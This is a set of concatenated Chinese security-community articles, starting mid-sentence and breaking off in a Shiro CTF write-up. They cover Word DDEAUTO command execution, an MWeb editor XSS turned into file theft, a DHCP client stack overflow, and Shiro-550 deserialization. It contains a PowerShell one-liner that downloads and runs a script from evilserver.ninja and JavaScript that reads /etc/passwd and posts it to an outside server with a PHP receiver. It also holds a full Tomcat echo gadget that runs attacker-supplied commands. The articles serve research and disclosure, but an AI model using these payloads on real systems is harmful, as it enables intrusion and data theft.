key.pcap出来的。自己那时也是差不多的做法，正好最近学习了一波IEEE
802.11，那就从原理角度梳理下这题，发现学到的东西也是不少啊。如果有其他的做法，欢迎师傅们一起讨论。
## 结语
不得不说，最近学习IEEE
802.11协议有一种快乐的感觉，虽然其中很多东西需要自己不断的搜索资料，阅读书籍，但是学习之后，再结合实验，发现学到的东西真的挺多的，那种充实感、成就感相信大家都有过，共勉吧，好好学习，天天向上。 | 社区文章 |
# 【技术分享】微软 Office Word 无宏命令执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：sensepost.com
原文地址：<https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/>
译文仅供参考，具体内容表达以及含义原文为准。
**译者：**[ myles007](http://bobao.360.cn/member/contribute?uid=749283137)
**预估稿费：120RMB**
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
****
如果我们告诉你，在MS-Word上存在一种命令执行漏洞，其不需要任何宏或者内存溢出，会怎么样呢？
Windows 为应用之间进行数据传输提供了多种传输方式，其中一种叫做动态交换协议，我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息，并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换，应用程序在新的数据可用时，会将更新发送给彼此。
在我们下面的文档当中，我们用通过执行一个应用运行DDE协议，以此来为我们提供一个案例展现。在之前的贴子中，我们讨论过在MS-Excel中使用DDE获取命令执行，并且在使用此方法绕过了宏过滤邮件安全网关和企业VBA的策略方面获得成功。DDE不仅限于Excel中可以使用，在Word中也具有DDE功能，当然关于这2个功能的可能获取命令执行的途径，之前已经有人提出过，但是就我们所知，到目前为止还没有人实际证明过这一点。
**DDE and Office**
艾蒂安和我正在研究一些有趣的COM对象，特别是与MS-Office有关的内容，其中最有意思的是我们发现COM方法在进行DDE初始化与DDE执行时都会被MS-Excel和MS-Word所暴露。自从MS-Excel给我们提供了命令执行，我们就决定踏上发现之旅，正式开始去发现如何在MSWord上使用DDE和如何在其上面实现命令执行。
进过不懈的努力，我们终于弄明白了如何在MS-Word上使用DDE。首先，我们在添加‘字段’上进行操作，请按照以下几个步骤进行操作即可。
插入 - 文档部件 - 域
选择 =(Formula) ,然后点击确认
之后，你应该会看到在文档中插入一个字段，并显示错误“!异常的公式结尾”，右键单击“此字段”，然后选择“切换字段代码”。
字段代码此时会显示出来，我们按照下面代码的内容，替换默认字段区域的代码；
{DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
DDEAUTO 关键字会通知MS-Word这是一个DDE字段，并会在文档打开时自动自行，第二部分代码内容是分为两段，第一段内容为要执行的可执行文件的完整路径，第二段引号之间的内容是传递一个可执行程序（执行calc.exe）。
另一种方法是使用： CTRL+F9 直接创建一个空的字段标识符，然后直接插入上面的 DDE 测试代码。
然后将文档保存为正常的Word文档“.docx”，并在任何机器上打开它。
第一个警告弹窗是更新文档链接，并没有任何恶意内容。
第二个提示要求用户是否需要执行指定的应用程序，到目前为止我们可以认为这是一个安全告警，仅是要求用户执行“cmd.exe”,这里我们可以通过相应的语法修改后隐藏它。
当受害者点击此文档时,看到没…大笑(yinxiao…)
这还不是最棒的，最漂亮的事情是，我们对此文档进行安全监测，发现竟然没任何有关宏或者其他恶意的安全告警…,所以…哈哈…大笑三声…剩下的大家自己意淫吧….
**Shells**
为了给大家展现一个POC,我们编制了一个使用Empire攻击器的演示视频，跟上面一样在进行进行安全扫描验证后，我们给出了下面的Payload。
{ DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}
视频演示：
**文档最后**
我们使用“DDE”字段标识符同样可以实现相同效果：
{DDE "c:\windows\system32\cmd.exe" "/c notepad" }
但是呢，你需要对.docx进行相应的修改，以启用其自动链接更新。为此，请在文档管理器中打开.docx并设置word/settings.xml，最后在将下面的XML标签插入到docPr元素中。
<w:updateFields w:val="true"/>
保存文档更新设置，此时Word会弹出自动更新链接的提示，与之前的提示稍有不同，但与前面的DDEAUTO的效果完全相同。
**漏洞披露时间表**
****
2017/08/23 – Reported to Microsoft to see if they are interested in a fix.
2017/08/23 – Microsoft responded that they successfully reproduced the issue
and ask for more details.
2017/09/26 – Microsoft responded that as suggested it is a feature and no
further action will be taken, and will be considered for a next-version
candidate bug.
2017/09/10 – Public blog post
**其他资源**
****
<https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/>
<http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html> | 社区文章 |
软件来源：<https://zh.mweb.im/index.html>
### 0x01 前言
前些天在测客户系统时经理大哥放话找到问题可以尽情利用，在测到某个系统时发现一个XSS，顺便插入了Payload，准备利用一下，顺便在MWeb里面记录下，之后点开Cookie接收平台时就意外发现了这个XSS小漏洞。在Wfox，小花，Wing等几位师傅的指点下完成进阶利用。非常感谢！次日早上醒来脑子一抽完成了再次进阶利用，实现了RCE.
### 0x02 过程
如图所示，就是这么简单。
测试了一下alert()执行不了，估计做了限制，也难怪平常放写稿子时没触发。
Poc：
<script src="//XssStage/ip.js"></script>
**分析**
自己又不懂二进制，该如何处分析这个问题是如何造成的，又该如何修复呢？
在携带回来的信息里可以看到KHTML字样。
某百科：
> KHTML，是HTML网页排版引擎之一，由KDE所开发。KDE系统自KDE2版起，在文档及网页浏览器中使用了KHTML引擎。
可以猜测MWeb就是使用了这个引擎，测试如下图。
Html标签均可执行，就是使用KHTML引擎带来的问题没错了~
修复的话直接禁用所有js脚本就好啦~
进阶利用（窃取文件）：
(以读`/etc/passwd`文件为例)
jsEXP：
<script>
(function() {
var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
var _toBinary = function(ascii) {
var binary = new Array();
while (ascii > 0) {
var b = ascii % 2;
ascii = Math.floor(ascii / 2);
binary.push(b);
}
binary.reverse();
return binary;
};
var _toDecimal = function(binary) {
var dec = 0;
var p = 0;
for (var i = binary.length - 1; i >= 0; --i) {
var b = binary[i];
if (b == 1) {
dec += Math.pow(2, p);
}++p;
}
return dec;
};
var _toUTF8Binary = function(c, binaryArray) {
var mustLen = (8 - (c + 1)) + ((c - 1) * 6);
var fatLen = binaryArray.length;
var diff = mustLen - fatLen;
while (--diff >= 0) {
binaryArray.unshift(0);
}
var binary = [];
var _c = c;
while (--_c >= 0) {
binary.push(1);
}
binary.push(0);
var i = 0,
len = 8 - (c + 1);
for (; i < len; ++i) {
binary.push(binaryArray[i]);
}
for (var j = 0; j < c - 1; ++j) {
binary.push(1);
binary.push(0);
var sum = 6;
while (--sum >= 0) {
binary.push(binaryArray[i++]);
}
}
return binary;
};
var __BASE64 = {
encoder: function(str) {
var base64_Index = [];
var binaryArray = [];
for (var i = 0, len = str.length; i < len; ++i) {
var unicode = str.charCodeAt(i);
var _tmpBinary = _toBinary(unicode);
if (unicode < 0x80) {
var _tmpdiff = 8 - _tmpBinary.length;
while (--_tmpdiff >= 0) {
_tmpBinary.unshift(0);
}
binaryArray = binaryArray.concat(_tmpBinary);
} else if (unicode >= 0x80 && unicode <= 0x7FF) {
binaryArray = binaryArray.concat(_toUTF8Binary(2, _tmpBinary));
} else if (unicode >= 0x800 && unicode <= 0xFFFF) { //UTF-8 3byte
binaryArray = binaryArray.concat(_toUTF8Binary(3, _tmpBinary));
} else if (unicode >= 0x10000 && unicode <= 0x1FFFFF) { //UTF-8 4byte
binaryArray = binaryArray.concat(_toUTF8Binary(4, _tmpBinary));
} else if (unicode >= 0x200000 && unicode <= 0x3FFFFFF) { //UTF-8 5byte
binaryArray = binaryArray.concat(_toUTF8Binary(5, _tmpBinary));
} else if (unicode >= 4000000 && unicode <= 0x7FFFFFFF) { //UTF-8 6byte
binaryArray = binaryArray.concat(_toUTF8Binary(6, _tmpBinary));
}
}
var extra_Zero_Count = 0;
for (var i = 0, len = binaryArray.length; i < len; i += 6) {
var diff = (i + 6) - len;
if (diff == 2) {
extra_Zero_Count = 2;
} else if (diff == 4) {
extra_Zero_Count = 4;
}
var _tmpExtra_Zero_Count = extra_Zero_Count;
while (--_tmpExtra_Zero_Count >= 0) {
binaryArray.push(0);
}
base64_Index.push(_toDecimal(binaryArray.slice(i, i + 6)));
}
var base64 = '';
for (var i = 0, len = base64_Index.length; i < len; ++i) {
base64 += BASE64_MAPPING[base64_Index[i]];
}
for (var i = 0, len = extra_Zero_Count / 2; i < len; ++i) {
base64 += '=';
}
return base64;
},
};
window.BASE64 = __BASE64;
})();
function createXHR() {
if (typeof XMLHttpRequest != 'undefined') {
return new XMLHttpRequest();
} else if (typeof ActiveXObject != 'undefined') {
if (typeof arguments.callee.activeXString != 'string') {
var versions = ['MSXML2.XMLHttp.6.0', 'MSXML2.XMLHttp.3.0', 'MSXML2.XMLHttp'];
for (var i = 0; i < versions.length; i++) {
try {
var xhr = new ActiveXObject(versions[i]);
arguments.callee.activeXString = versions[i];
return xhr;
} catch (ex) {}
}
}
return new ActiveXObject(arguments.callee.activeXString);
} else {
throw new Error('No XHR Object available');
}
}
function post(URL, PARAMS) {
var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none";
for (var x in PARAMS) {
var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x];
temp.appendChild(opt);
}
document.body.appendChild(temp);
temp.submit();
return temp;
}
function sendGetRequest(url, callback) {
var xhr = createXHR();
xhr.open('GET', url, false);
xhr.send();
callback(xhr.responseText);
}
sendGetRequest('file:///etc/passwd', function(response) {
var text = BASE64.encoder(response);
post('https://www.test.com/mweb/file.php', {file:text});
});
</script>
接收端：
<?php
$data = base64_decode($_POST["file"]);
$file = fopen("file.txt",'a');
fwrite($file,$data);
fclose($file);
?>
效果：
### 0x03 RCE的实现
感谢昨晚室友估计超60分贝的呼噜声让我无法入眠，早上醒得早，脑子一抽，就想到了这个Joke Remote Code Execution。
实际上没这么麻烦：
POC代码：
<a href="file:///Applications/Calculator.app" onclick="closewin();" id="alink">
<input id="btn" onclick="test()"> </input>
<script>
document.getElementById("alink").click();
</script>
弹个计算器 【手动狗头】
GIF图：
所有POC都放到附件中一起上传了吧，仅供技术交流、请勿非法使用~
### 0x04 总结
漏洞本来挖到xss就放弃了的，发出来后在几个师傅的指点下又进一步利用了，以前看的几篇Xss2RCE的文章真是白看了。我是真是个辣鸡弟弟[手动打自己的脸]。该问题出现在Windows平台的其他MarkDown编辑器中的话可结合js执行cmd直接化为RCE来用。
**实测**
再次感谢Wfox，小花，Wing等几位师傅。
我是CoolCat，一个菜但是原意认真学习的弱鸡~ | 社区文章 |
在前文中我们已经讨论过关于CVE-2019-0726的相关内容。我们知道，有时候在搜索某一个已知漏洞的时候便会偶然发现新的漏洞，有时这种漏洞还不止一个。
本文讨论了`dhcpcore.dll`的两个函数：在传递消息时使用的`UpdateDomainSearchOption`，，以及由第一个函数连续调用的`DecodeDomainSearchListData`。我们在寻找函数漏洞的时候总会发现，即使某种函数只拥有一两种功能但是也需要我们审计大量的代码。偶然间发现的一些无关紧要的小细节往往会在后面的分析中有其他意义，或者可能在以后变得有用。即使现在没有深入分析，但是由于注意到了这个地方，过了一段时间你会有机会回去检查你的猜测。
这正是这次发生的事情。在研究负责处理来自服务器的DHCP响应中的所有选项的`DhcpExtractFullOptions`函数时，特别是调用`UpdateDomainSearchOption`的选项时，我们注意到了堆栈上的两个数组，而每个数组包含256个元素：
没有任何检查限制这些数组的迭代器值的迹象。 当时我们正在分析一个不同的漏洞，因此这些信息无关紧要。 因此，我们所能做的就是记住这部分代码以供日后使用。
### 分析
几周后，我们回想起之前引起我们注意的`DhcpExtractFullOptions`函数。
我们把它放在一个反汇编程序中，计算出那些未完全解析的代码片段，并试图找出这两个静态数组的用途。
当函数执行开始时，数组及其迭代器被清零：
该函数解析从`DHCP`服务器接收数据包中的所有选项，从中收集信息并对其进行处理。
此外，根据解析结果，它会在`ETW`（Windows事件跟踪）服务中记录相应的事件。 记录事件正是我们查看的缓冲区位置。
除了大量数据外，还会将这些数据传递给`EtwEventWriteTransfer`。
准备所有数据以进行日志记录需要大量工作。然而与我们正在讨论的漏洞无关，因此我们将跳过这些示例。
这里我们看看这些缓冲区是如何填充的。 填充是选项解析周期的一部分。
首先，为接收进行处理的当前选项调用具有自解释名称`ParseDhcpv4Option`的函数。
它使用接收的数据填充`dhcp_pointers`对象中的字段，或者如果遇到没有处理程序的选项标识符，则记下未知选项。
从ParseDhcpv4Option返回后，当前选项option_tag的标识符值将写入all_tags数组的下一个元素，即我们正在查看的第一个数组。如果函数遇到未知选项，因此未设置is_known_option标志，则标识符的值也会写入第二个array-unknown_tags的下一个元素。当然，本文中提到的变量只有在代码分析后才能得到有意义的名称。
因此，`all_tags`数组存储来自接收消息选项的标记，而`unknown_tags`数组仅包含解析器未知的选项标记，除此之外，它根本没有检查数组的索引。因此，这些索引的值可能超过256，并导致在堆栈上为阵列分配的内存之外进行写入。要导致第一个阵列溢出，`DHCP`服务器发送超过`256`个选项的数据包就足够了。对于第二个阵列也是如此，唯一的区别是我们需要发送客户端的选项无法被处理。
### 攻击过程
现在让我们试着在实践中测试我们的理论结论。 首先，选项标记的大小为一个字节，而数组元素的类型为`int`，这意味着元素大小为四个字节。
因此，我们有一个溢出，我们控制每个第四个字节，其余的在覆盖时归零。
测试漏洞的最简单方法是覆盖存储在堆栈中的函数的安全`cookie`，这将导致安全检查相关的异常。
让我们模拟`DHCP`服务器并发送足够数量的选项以导致覆盖的情况。 假设有`0x1a0`选项，标识符为`0xaa`，大小为零。
因此每个选项的大小是两个字节，包含所有标头的数据包的总大小将是`1100-1200`字节。
此值在以太网的MTU限制范围内，因此我们有理由相信该消息不会被分散执行，这将有助于我们避免任何复杂情况。
我们发送以这种方式形成的数据包以响应来自DHCP客户端的请求，并且在客户端的计算机上，我们在相应的`svchost.exe`进程中捕获异常：
正如我们从堆栈跟踪中看到的那样，来自我们数据包的选项标识符覆盖了堆栈cookie和函数的返回地址。
当然，创建类似可用的漏洞需要攻击者付出巨大努力。在系统上由于所有现代保护机制，缓冲区堆栈溢出是一个复杂且难以利用的漏洞。另一方面，我们不要忘记所有这些机制都保护返回地址和异常处理程序不被覆盖，防止在未分配的内存位置中执行代码，或者阻止预测地址。但是，它们无法阻止在溢出缓冲区和返回地址之间覆盖存储在堆栈中的局部变量。
`DhcpExtractFullOptions`函数包含该范围内的几个潜在危险变量。
我们再次写信给微软，告知我们发现的错误。在一些通信之后，在分析了持续一周左右的请求后，我们得到了一个回复，说明正在准备此漏洞的CVE标识符，计划在3月发布补丁，并且该漏洞已经通过Microsoft报告其他人。
3月有一个修复故障的补丁，现在确定为`CVE-2019-0697`。 此前报告此漏洞的研究人员是Mitch
Adair，同样是微软的员工，他发现了1月份修复的DHCP漏洞`CVE-2019-0547`。
本文为翻译文章，来源：[http://blog.ptsecurity.com/2019/05/how-analyzing-one-critical-dhcp.html](http://blog.ptsecurity.com/2019/05/how-analyzing-one-critical-dhcp.html) | 社区文章 |
**作者：w7ay @ 知道创宇404实验室
时间：2020年8月11日**
深刻认识到不会java搞这类poc的困难，只能做一个无情的搬砖机器。
目标是编写Pocsuite3 python版本的Shiro-550 PoC，最好不要依赖其他东西。
本文没有新奇的观点，只是记录日常 =_=
## Shiro识别
看到@pmiaowu开源的burp shiro检测插件 <https://github.com/pmiaowu/BurpShiroPassiveScan>
看了下源码，主要有三种判断方式
1. 原始cookie key带了rememberMe
2. 原始请求返回cookie中value带有deleteMe
3. 以上条件都不满足时，发送cookie`rememberMe=1`
## 检测Shiro key
l1nk3r师傅 的 基于原生shiro框架 检测方法
* <https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ>
简述下如何不依赖java环境来检测poc。
import org.apache.shiro.subject.SimplePrincipalCollection;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class ss1 {
public static void main(String args[]) throws IOException {
System.out.println("Hellow ");
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
}
}
可得到生成的反序列二进制payload(最好使用jdk6来编译，能够兼容之后的版本)
b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'
将这段payload内置到poc里即可。
通过python函数生成最终检测payload
def generator2(key, bb: bytes):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(bb)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
其中key是shiro需要检测的key，bb是生成的payload,当key正确时，不会返回deleteMe
## 回显payload
一开始看的是宽字节安全的burp插件:<https://github.com/potats0/shiroPoc>
但在本地环境下测试没有成功，之后猜测可能是gadgets或java版本的问题
看他的exploitType代码
类似于java的汇编代码？确认过眼神是看不懂的。
然后在GitHub上找到一个开源的exp <https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py>
它将gadget base64之后硬编码到了python中，正好符合我的需求。
经过测试用`CommonsCollections1`就可以在我本地环境复现了。
到这里就可以写poc了，但我还想看看这些硬编码的payload是怎么来的。
## 更细节
那些硬编码的文件是反序列化的文件，我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过`CA FE BA
BE`(cafebaby)来确定class的特征，将它和后面的数据保存为class文件。
然后拖到idea反编译后就能看到源码了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class FooDDl2ZFf8Y extends AbstractTranslet {
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (NoSuchMethodException var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
}
}
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public FooDDl2ZFf8Y() throws Exception {
boolean var4 = false;
Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
for(int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var13) {
continue;
}
List var9 = (List)getFV(var1, "processors");
for(int var10 = 0; var10 < var9.size(); ++var10) {
Object var11 = var9.get(var10);
var1 = getFV(var11, "req");
Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");
if (var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);
var4 = true;
}
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd");
if (var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
var4 = true;
}
if ((var3 == null || var3.isEmpty()) && var4) {
writeBody(var2, System.getProperties().toString().getBytes());
}
if (var4) {
break;
}
}
if (var4) {
break;
}
}
}
}
}
}
}
就算解出了源码，看的也不是太懂，可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。
没想到写完poc的第二天，xray的作者就给出检测细节和源码。
* <https://koalr.me/post/shiro-lou-dong-jian-ce/>
* <https://github.com/frohoff/ysoserial>
通过比对源码:<https://github.com/frohoff/ysoserial/compare/master...zema1:master>
可以找到tomcat的全版本回显的payload
public static Object createTemplatesTomcatEcho() throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImplEcho(
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
// Tomcat 全版本 payload，测试通过 tomcat6,7,8,9
// 给请求添加 Testecho: 123，将在响应 header 看到 Testecho: 123，可以用与可靠漏洞的漏洞检测
// 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中
public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz;
clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
if (clazz.getDeclaredConstructors().length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +
" Object o;\n" +
" Class clazz;\n" +
" try {\n" +
" clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
" o = clazz.newInstance();\n" +
" clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (ClassNotFoundException e) {\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (NoSuchMethodException e) {\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" }\n" +
"}", clazz));
clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
" java.lang.reflect.Field f = null;\n" +
" Class clazz = o.getClass();\n" +
" while (clazz != Object.class) {\n" +
" try {\n" +
" f = clazz.getDeclaredField(s);\n" +
" break;\n" +
" } catch (NoSuchFieldException e) {\n" +
" clazz = clazz.getSuperclass();\n" +
" }\n" +
" }\n" +
" if (f == null) {\n" +
" throw new NoSuchFieldException(s);\n" +
" }\n" +
" f.setAccessible(true);\n" +
" return f.get(o);\n" +
"}\n", clazz));
clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
" Object o;\n" +
" Object resp;\n" +
" String s;\n" +
" boolean done = false;\n" +
" Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
" for (int i = 0; i < ts.length; i++) {\n" +
" Thread t = ts[i];\n" +
" if (t == null) {\n" +
" continue;\n" +
" }\n" +
" s = t.getName();\n" +
" if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +
" o = getFV(t, \"target\");\n" +
" if (!(o instanceof Runnable)) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" try {\n" +
" o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
" } catch (Exception e) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
" for (int j = 0; j < ps.size(); j++) {\n" +
" Object p = ps.get(j);\n" +
" o = getFV(p, \"req\");\n" +
" resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +
" if (s != null && !s.isEmpty()) {\n" +
" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
" resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +
" done = true;\n" +
" }\n" +
" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +
" if (s != null && !s.isEmpty()) {\n" +
" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
" String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +
" writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +
" done = true;\n" +
" }\n" +
" if ((s == null || s.isEmpty()) && done) {\n" +
" writeBody(resp, System.getProperties().toString().getBytes());\n" +
" }\n" +
"\n" +
" if (done) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" if (done) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" }\n" +
"}", clazz));
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes,
// classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
至于为什么要那么写，可能也是因为某种魔法，我暂时还不明白。
和一些特别的链
> ysoserial 中的 `CommonsCollections4` 只能用于 CC4.0 版本，我把这个利用链进行了改进使其支持了 CC3 和 CC4
> 两个版本，形成了上面说的 K1/K2 两条链，这两条链就是我们处理 Shiro
> 这个环境的秘密武器。经过这些准备，我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧，可以直击敌方咽喉，一举拿下目标。万事具备，只欠东风。
## PoC演示
一路下来迷迷糊糊啥也不明白真实太菜了，只能在一些大佬的肩膀上搬搬砖这样子了。
PoC集成了识别，检测key，命令执行回显以及shell反弹的操作。
检测识别key
攻击模式执行任意命令
shell反连
最后也顺便给[w13scan - 被动扫描器](https://github.com/w-digital-scanner/w13scan)增加了一份Shiro插件。
感谢看完全程，不说了，学习java去。
* * * | 社区文章 |
# 一道shiro反序列化题目引发的思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是某银行的内部的一个CTF比赛，受邀参加。题目三个关键词`权限绕过`、`shiro`、`反序列化`，题目源码已经被修改，但考察本质没有，题目源码会上传到[JavaLearnVulnerability](https://github.com/SummerSec/JavaLearnVulnerability)。
* * *
## 黑盒测试
* xray测试shiro的key
* dirsearch跑目录
* sqlmap测试登陆框是否存在sql注入
* * *
## 白盒代码审计
### 源码初步分析
* 版本 shiro == 1.5.3（不存在remember反序列化漏洞，但存在CVE-2020-13933权限绕过漏洞）
* * *
* shiro验证通过Realm的方式判断用户是否合法，此处重写`doGetAuthorizationInfo`方法，账户名`admin`（可能有用）。
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
String username = (String)authenticationToken.getPrincipal();
if (!"admin".equals(username)) {
throw new UnknownAccountException("unkown user");
} else {
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
}
}
* * *
* 访问控制权限，可能看到`index`、`dologin`存在访问权限。
> > * anon：匿名用户可访问
> * authc：认证用户可访问
> * user：使用rememberMe可访问
> * perms：对应权限可访问
> * role：对应角色权限可访问
>
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(this.securityManager());
bean.setLoginUrl("/login");
Map<String, String> map = new LinkedHashMap();
map.put("/doLogin", "anon");
map.put("/index/*", "authc");
